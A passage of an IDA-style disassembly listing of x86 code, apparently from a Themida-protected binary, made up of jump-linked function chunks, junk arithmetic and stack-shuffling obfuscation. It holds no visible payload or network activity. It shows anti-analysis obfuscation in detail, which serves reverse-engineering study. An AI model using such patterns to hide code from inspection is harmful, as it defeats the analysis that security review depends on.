loc_58B2CF: ; CODE XREF: sub_592857+442Bj
add [esp+10h+var_8], ebx
pop ebx
sub [esp+0Ch+var_8], 325B6517h
sub [esp+0Ch+var_8], ecx
add [esp+0Ch+var_8], 325B6517h
sub [esp+0Ch+var_8], 675C3153h
jmp loc_58A9A0
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
loc_58B2F5: ; CODE XREF: Themida_:00593BCEj
pop ax
jmp loc_58AB46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B2FC: ; CODE XREF: sub_58F5B5-16B9j
mov [esp+8+var_8], esi
mov eax, [esp+8+var_8]
add esp, 4
push [esp+4+var_4]
mov esi, [esp+8+var_8]
add esp, 4
add esp, 4
not esi
xor eax, esi
xor esi, eax
xor eax, esi
jmp loc_58F693
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58B321: ; CODE XREF: sub_595123-7C89j
; sub_595123-66F1j ...
push dword ptr [edi+24h]
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
push edx
mov edx, esp
push edi
mov edi, 6701359Ch
inc edi
shl edi, 1
xor edi, 6DB763B2h
push edx
mov edx, 7BF93838h
xor edx, 59A96F21h
shl edx, 7
sub edx, 847683F4h
xor edi, edx
pop edx
add edx, 616A2719h
jmp loc_594675
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B365: ; CODE XREF: sub_590467-48C5j
inc ebp
not ebp
inc ebp
jg loc_595411
inc ebp
jo loc_592150
jmp loc_597974
; ---------------------------------------------------------------------------
loc_58B37B: ; CODE XREF: sub_590467-2A23j
and bh, 8
jmp loc_596A1D
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58B383: ; CODE XREF: Themida_:005965E2j
mov eax, [esp]
add esp, 4
pop esi
add esi, 4
jmp loc_595B1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58B398: ; CODE XREF: sub_5938B9+3C02j
mov [esp+0], edx
not dword ptr [esp+0]
pop edx
jmp loc_59047B
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58B3A4: ; CODE XREF: sub_594654-7CB3j
mov ax, [esp+0]
push ebp
push 3700h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
jmp loc_59346E
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B3BD: ; CODE XREF: sub_5916C4-2E5Fj
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
pop esp
push ebp
jmp loc_58CD63
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58B3CA: ; CODE XREF: sub_58B4D6-772j
mov [esp+8+var_8], esp
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 21421DB6h
inc eax
jns loc_58D739
xor eax, 21421DB3h
add [esp+0Ch+var_8], eax
pop edi
loc_58B3E9: ; CODE XREF: Themida_:0058C8FFj
sub eax, ebx
jmp loc_596325
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B3F0: ; CODE XREF: sub_5916C4+5C2Fj
jmp loc_590363
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B3F5: ; CODE XREF: sub_58F5B5:loc_597CC8j
jmp loc_58FE39
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B3FA: ; CODE XREF: sub_590467+751Fj
xchg esi, ebp
inc esi
xor ebp, esi
xor esi, ebp
xor ebp, esi
push ebx
mov ebx, 0A49ACF6Dh
sub ebp, ebx
mov ebx, [esp+0Ah+var_A]
add esp, 4
and eax, ebp
push [esp+6+var_6]
jmp loc_58E06E
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58B41B: ; CODE XREF: Themida_:0058AD80j
add esi, 0AFFB5910h
jmp loc_58F65B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58B426: ; CODE XREF: sub_590010-1529j
add edi, 4
add edi, 4
xchg edi, [esp-8+arg_4]
pop esp
push ebp
mov ebp, 2
add edx, ebp
pop ebp
xchg edx, [esp-0Ch+arg_8]
pop esp
idiv cx
jmp loc_5916A2
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_58B44B: ; CODE XREF: sub_58F091-261Ej
mov [esp+0Ch+var_C], eax
push edx
mov edx, 522D2B67h
push ebp
mov ebp, 502B22A5h
sub ebp, 131A2D21h
xor ebp, 55B6382h
add ebp, 4DDCAD47h
sub edx, 7C1C1E4Ch
sub edx, 1DD55839h
sub edx, ebp
add edx, 1DD55839h
add edx, 7C1C1E4Ch
pop ebp
mov eax, edx
pop edx
xor edi, eax
pop eax
jmp loc_5902C7
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
loc_58B492: ; CODE XREF: Themida_:0058EA7Aj
push edx
push edi
jmp loc_59400B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B499: ; CODE XREF: sub_58C17E+B66Fj
mov dl, 30h
add dl, 1
add dl, 0FFh
push cx
mov ch, 0F8h
sub dl, ch
mov cx, [esp+0]
add esp, 2
sub al, 0EAh
add al, dl
push ebx
jmp loc_58C5FB
; ---------------------------------------------------------------------------
loc_58B4BB: ; CODE XREF: sub_58C17E+15F4j
push ecx
mov ch, 0D3h
xor al, ch
pop ecx
push eax
mov eax, esp
add eax, 4
jmp loc_5919CC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B4CE: ; CODE XREF: sub_590467+5231j
pop ebx
sub edi, esi
jmp loc_58F9E1
; END OF FUNCTION CHUNK FOR sub_590467
; =============== S U B R O U T I N E =======================================
sub_58B4D6 proc near ; CODE XREF: sub_592D12-5FE8j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058AD5E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B3CA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058C5BE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D2B6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D739 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0058DF0C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E0E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E21B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E8F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058EBFE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058EF5A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058F293 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059094E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590A68 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005910F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591970 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591F71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592349 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059242F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593136 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005931A2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593969 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594CC1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594DE0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596086 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059618F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596325 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059658E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596B2F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597DA6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597E05 SIZE 0000000E BYTES
push ebp
mov ebp, 14ED13B8h
inc ebp
jmp loc_59618F
sub_58B4D6 endp
; ---------------------------------------------------------------------------
loc_58B4E2: ; CODE XREF: Themida_:00596E3Ej
push edx
jmp loc_59359D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B4E8: ; CODE XREF: sub_58C17E+ADC5j
sub edi, 6A6A1FC9h
jmp loc_592033
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
byte_58B4F3 db 89h ; CODE XREF: Themida_:00597C3Dj
; ---------------------------------------------------------------------------
and al, 24h
jmp loc_58FB14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58B4FB: ; CODE XREF: sub_5919E2-1720j
push edi
mov edi, esp
add edi, 4
jmp loc_590B96
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_58B509: ; CODE XREF: Themida_:005932EAj
pop edx
add edi, 4
jmp loc_594CB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58B512: ; CODE XREF: sub_590B70+501Dj
sub eax, 4F01671Bh
pop edx
mov edi, eax
jmp loc_591B9A
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58B51F: ; CODE XREF: sub_590010+47FDj
mov eax, 39A21CB1h
jmp loc_59165A
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58B529: ; CODE XREF: Themida_:00597917j
pop ebx
neg ecx
jmp loc_58F18B
; ---------------------------------------------------------------------------
loc_58B531: ; CODE XREF: Themida_:00591FF0j
push 788Eh
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_592FB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58B549: ; CODE XREF: sub_5938B9-6020j
inc ebx
not ebx
xor ebx, 72707595h
not ebx
shl ebx, 1
sub ebx, 0BF369E06h
and edx, ebx
pop ebx
not edx
jmp loc_591B3D
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58B566: ; CODE XREF: Themida_:0058B671j
pop edx
mov ah, bh
pop bx
sub ah, 0F7h
jmp loc_5966DC
; ---------------------------------------------------------------------------
loc_58B573: ; CODE XREF: Themida_:00595DE5j
add edi, 0EF1111A4h
mov ebx, edi
pop edi
or edi, ebx
jmp loc_5915D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B583: ; CODE XREF: sub_58F5B5+1805j
pop esp
push esi
mov esi, esp
jmp loc_58D434
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58B58C: ; CODE XREF: Themida_:0058FB54j
push 6972h
jmp loc_593D9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58B596: ; CODE XREF: sub_595258-33CCj
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp+8+var_8]
xor [esp+8+var_8], edi
jmp loc_59183E
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_58B5AF: ; CODE XREF: Themida_:00594683j
mov esi, ebx
mov eax, esi
pop esi
pop ebx
jmp loc_596DF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B5BA: ; CODE XREF: sub_58C17E+D2Ej
shl esi, 5
jmp loc_58B190
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58B5C2: ; CODE XREF: sub_5919E2+10j
mov edx, edi
pop edi
push esi
mov esi, 329722B5h
shl esi, 2
add esi, 68F3771Fh
push esi
not [esp+8+var_8]
pop esi
push ebp
push esi
mov esi, 5C733014h
add esi, 45003A12h
js loc_58CBD1
add esi, 0C9A36DB7h
jmp loc_58D36C
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
pop ebx
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B5F8: ; CODE XREF: sub_5916C4+173Ej
not edi
sub edi, 37CF693Bh
jmp loc_59470C
; ---------------------------------------------------------------------------
loc_58B605: ; CODE XREF: sub_5916C4+36E0j
mov ecx, esp
add ecx, 4
jmp loc_5911B2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58B612: ; CODE XREF: Themida_:0058A64Ej
mov esp, [esp]
xor [esp], al
pushf
jmp loc_595D6A
; ---------------------------------------------------------------------------
loc_58B61E: ; CODE XREF: Themida_:0058BC95j
sub esp, 4
mov [esp], edx
mov edx, esp
push ebp
jmp loc_5906D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_58B62C: ; CODE XREF: sub_5921D8+150Ej
push ecx
jmp loc_593A52
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B632: ; CODE XREF: Themida_:0058E1B7j
; sub_5916C4+2CD5j
pop ebx
sub al, dh
push bx
jmp loc_58CC90
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58B63C: ; CODE XREF: Themida_:0058F356j
pop ebx
jmp loc_58DB19
; ---------------------------------------------------------------------------
loc_58B642: ; CODE XREF: Themida_:00590FF5j
push ecx
mov ecx, 4
sub ebp, 0DF20361h
add ebp, ecx
add ebp, 0DF20361h
pop ecx
push 0F8Fh
jmp loc_58D3F8
; ---------------------------------------------------------------------------
loc_58B661: ; CODE XREF: Themida_:005937FDj
push ebx
push 0A3h
mov [esp], ecx
jmp loc_592DCD
; ---------------------------------------------------------------------------
loc_58B66F: ; CODE XREF: Themida_:00597F73j
mov bh, dh
jmp loc_58B566
; ---------------------------------------------------------------------------
loc_58B676: ; CODE XREF: Themida_:0059463Aj
shr ecx, 8
push esi
mov esi, 57BB87h
jmp loc_591DE5
; ---------------------------------------------------------------------------
loc_58B684: ; CODE XREF: Themida_:0058FA4Dj
pop ebx
xor edx, 562A2538h
jmp loc_5912B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B690: ; CODE XREF: sub_58F5B5+6j
mov [esp+4+var_4], edi
sub esp, 4
jmp loc_59080D
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B69B: ; CODE XREF: sub_58C17E+3371j
xchg edx, ecx
push esi
mov esi, 8DCE6953h
sub ecx, esi
mov esi, [esp+6+var_8+2]
add esp, 4
jmp sub_5965CD
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58B6B0: ; CODE XREF: sub_5EC2E8-578E9j
push ecx
mov ecx, 4
add [esp+24h+var_20], ecx
pop ecx
jmp loc_597076
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58B6C0: ; CODE XREF: sub_591059-3103j
pop esi
xor ebx, 3365F014h
jmp loc_58B1B8
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_58B6CC: ; CODE XREF: Themida_:005973C1j
mov ecx, [esp]
add esp, 4
jmp loc_592CE2
; ---------------------------------------------------------------------------
loc_58B6D7: ; CODE XREF: Themida_:0059603Dj
add ecx, esi
mov esi, [esp]
jmp loc_58F9C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58B6E1: ; CODE XREF: sub_5938B9-51B9j
add eax, 4
xchg eax, [esp-8+arg_4]
pop esp
jmp loc_595B44
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B6EF: ; CODE XREF: sub_58F5B5-1371j
pop ebp
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_58EB02
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58B6FB: ; CODE XREF: Themida_:00594E6Aj
pop esi
mov edx, edi
mov edi, [esp]
add esp, 4
add eax, 7AF3E5Fh
sub eax, 188F58B3h
sub eax, edx
add eax, 188F58B3h
sub eax, 7AF3E5Fh
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_58DCB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58B72C: ; CODE XREF: sub_5EC2E8-61AAEj
ja loc_58DA9F
inc dl
jmp loc_5947DC
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58B739: ; CODE XREF: Themida_:0058A503j
shr ah, 7
shl ah, 6
jmp loc_58F314
; ---------------------------------------------------------------------------
loc_58B744: ; CODE XREF: Themida_:00597180j
push 4
pop ebx
add eax, ebx
pop ebx
sub eax, 4
xor eax, [esp]
jmp loc_58FFF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B75A: ; CODE XREF: sub_590467-1CE5j
mov word ptr [esp+6+var_6], dx
push ecx
push ebx
jmp loc_5961A0
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B765: ; CODE XREF: sub_5916C4+4134j
xor eax, 335D4884h
jno loc_593E59
sub eax, 36DA3842h
push edx
mov edx, eax
mov ecx, edx
jmp loc_59489A
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58B77F: ; CODE XREF: sub_590010+7BEFj
xchg edi, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
mov [esp-10h+arg_C], esi
mov esi, 4
add edx, 56F019D2h
add edx, esi
sub edx, 56F019D2h
jmp loc_593EAE
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58B7A0: ; CODE XREF: Themida_:00591EA6j
add ebx, esi
pop esi
push edx
push edi
push 24A21E4Bh
pop edi
and edi, 36BE25EDh
neg edi
sub edi, 0AB0F9756h
jmp loc_5961D8
; ---------------------------------------------------------------------------
loc_58B7BE: ; CODE XREF: Themida_:0058A30Fj
add edx, 4
jmp loc_58AB52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EB1F
loc_58B7C9: ; CODE XREF: sub_58EB1F+18j
xchg esi, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ebp
jmp loc_58F64B
; END OF FUNCTION CHUNK FOR sub_58EB1F
; ---------------------------------------------------------------------------
loc_58B7D8: ; CODE XREF: Themida_:0058F598j
mov edx, [esp]
add esp, 4
jmp loc_58B93A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58B7E3: ; CODE XREF: sub_5916C4+480Fj
add esi, 88DA8991h
add eax, esi
pop esi
add edx, eax
pop eax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58B7F4: ; CODE XREF: sub_595E21-1B43j
push edx
pop ecx
pop edx
push edx
mov edx, 24h
add edx, edi
jmp loc_590699
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58B804: ; CODE XREF: Themida_:005906FCj
div cx
push ebp
jmp loc_596013
; ---------------------------------------------------------------------------
loc_58B80D: ; CODE XREF: Themida_:00591A6Dj
xor [esp+4], ebp
pop ebp
pop ebx
xor ebx, 384A3494h
pop ebp
pop edi
sub dword ptr [esp+4], 6DEE53C8h
sub [esp+4], ebx
jmp loc_58D7E1
; ---------------------------------------------------------------------------
loc_58B82C: ; CODE XREF: Themida_:00596ACAj
add esi, 387944CFh
pop ecx
jmp loc_58A2D4
; ---------------------------------------------------------------------------
loc_58B838: ; CODE XREF: Themida_:00590492j
push 7F645630h
pop edi
xor eax, edi
jmp loc_58EA79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58B845: ; CODE XREF: sub_59762D-BBE6j
; sub_590B70+1Ej
shr edx, 2
add edx, 5795110Ah
push ebx
jmp loc_596BE6
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58B854: ; CODE XREF: Themida_:00594278j
mov esi, 3AAA1E47h
and esi, 621A19B3h
jl loc_5943DA
sub esi, 718E0A0Fh
push edi
mov edi, 71F21419h
or esi, edi
jmp loc_5971C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58B878: ; CODE XREF: sub_58C17E+2477j
pop esi
jmp loc_5909A6
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58B87E: ; CODE XREF: Themida_:00591FCBj
; Themida_:00593078j
add edi, 6BB62C5Eh
pop ebp
push esi
mov esi, 5B000363h
add ebx, esi
pop esi
add ebx, edi
sub ebx, 5B000363h
pop edi
jmp loc_593B1A
; ---------------------------------------------------------------------------
loc_58B89C: ; CODE XREF: Themida_:00593284j
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
mov ch, 70h
jmp loc_58C898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B8B2: ; CODE XREF: sub_58F5B5-AD5j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], eax
mov eax, 0D816D25h
sub esi, eax
pop eax
and esi, 29BD449Ch
sub esi, 7E040Ch
and eax, esi
mov esi, [esp-4+arg_0]
add esp, 4
jmp loc_593E9B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58B8E8: ; CODE XREF: Themida_:005915C9j
mov [esp], esi
push 35384EDDh
pop esi
xor esi, 35384ED9h
jmp loc_5966A8
; ---------------------------------------------------------------------------
loc_58B8FC: ; CODE XREF: Themida_:005978D4j
mov ebp, [esp]
jmp loc_58A2E8
; ---------------------------------------------------------------------------
loc_58B904: ; CODE XREF: Themida_:005973ECj
add esp, 4
jmp loc_5942B2
; ---------------------------------------------------------------------------
loc_58B90C: ; CODE XREF: Themida_:00593099j
sub edx, 4FDF74A2h
jmp loc_58ECF3
; ---------------------------------------------------------------------------
loc_58B917: ; CODE XREF: Themida_:0059198Ej
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
push esi
mov esi, 2E6832AAh
inc esi
inc esi
jmp loc_591E91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58B92E: ; CODE XREF: sub_58F5B5+7430j
pop esi
add esi, 7ABD6E58h
jmp loc_597CC8
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58B93A: ; CODE XREF: Themida_:0058B7DEj
shl edx, 8
push ebx
mov ebx, 4E35423Fh
or ebx, 3EFE31B2h
add ebx, 78AF0961h
or ebx, 445E0320h
sub ebx, 18FC27DAh
push edi
mov edi, 5D801233h
sub ebx, 40C577DCh
add ebx, edi
add ebx, 40C577DCh
pop edi
jmp loc_58CD8B
; ---------------------------------------------------------------------------
loc_58B975: ; CODE XREF: Themida_:005969AEj
mov edx, [esp]
jmp loc_58C3D6
; ---------------------------------------------------------------------------
lodsd
jmp loc_58F14E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_58B983: ; CODE XREF: sub_592857-7EB4j
; Themida_:0058FDB3j
add esp, 4
pop edx
add edx, 55BB4B17h
jmp loc_59716C
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
loc_58B992: ; CODE XREF: Themida_:0059539Cj
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58B997: ; CODE XREF: sub_595258-94E9j
push ecx
mov ecx, 79FB666Ah
or ecx, 4A19697Dh
jmp loc_592FF7
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58B9A8: ; CODE XREF: sub_5EC2E8:loc_594C51j
xor eax, 79FA75FFh
jmp loc_58C6A6
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58B9B2: ; CODE XREF: Themida_:00595AC4j
add esp, 4
jmp loc_593F73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58B9BA: ; CODE XREF: sub_590467-5D38j
shl ebp, 5
jmp loc_590327
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58B9C2: ; CODE XREF: Themida_:0058AB34j
sub ecx, ebx
jmp loc_5921EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58B9C9: ; CODE XREF: sub_595123-AACj
push eax
mov eax, 69746F2Bh
sub eax, 36507E6Ch
not eax
xor eax, 5CCE5CDCh
xor eax, 0F1787485h
sub edx, eax
pop eax
mov edi, [esp+0Ch+var_C]
add esp, 4
add edx, 4
push 6BF0h
jmp loc_590F4F
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58B9F9: ; CODE XREF: Themida_:0058A363j
add edi, 73402EF0h
add edi, 5CE349C4h
add edi, edx
sub edi, 5CE349C4h
jmp loc_58FB2B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_58BA12 proc near ; CODE XREF: sub_591059-2D9j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591697 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005924A9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592E67 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593F00 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005940B8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594880 SIZE 00000007 BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
jmp loc_5940B8
sub_58BA12 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_58BA29: ; CODE XREF: Themida_:0058D3EDj
; sub_58F836-1561j
mov ebp, 69462A22h
jmp loc_5940E2
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58BA33: ; CODE XREF: sub_59762D-7806j
mov ebp, 46DA433Fh
sub ebp, 53011B95h
push edx
mov edx, 85A21E4h
shl edx, 4
jmp loc_58B845
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58BA4C: ; CODE XREF: Themida_:00590D2Fj
push esp
mov ecx, [esp]
add esp, 4
jmp loc_58CAC2
; ---------------------------------------------------------------------------
loc_58BA58: ; CODE XREF: Themida_:00596320j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
jmp loc_59093E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_58BA75: ; CODE XREF: sub_5942E3-1AA3j
push esi
mov esi, 4
jmp loc_59393E
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338C
loc_58BA80: ; CODE XREF: sub_59338C-56E9j
push ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
jmp loc_58FD95
; END OF FUNCTION CHUNK FOR sub_59338C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58BA94: ; CODE XREF: sub_59524C-7F3Dj
mov ecx, [esp+4+var_4]
add esp, 4
add eax, esi
jmp loc_5975EA
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58BAB2: ; CODE XREF: sub_5916CB+28F2j
push 1B21276Eh
pop eax
and eax, 43CF42FEh
shl eax, 7
add eax, 91DB06B6h
jmp loc_596713
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58BACA: ; CODE XREF: sub_58C17E+CFCj
pop esp
or ebp, 0F645139h
add ebp, 0E0108811h
mov edx, ebp
pop ebp
and ebx, edx
mov edx, [esp-0Ah+arg_4+2]
add esp, 4
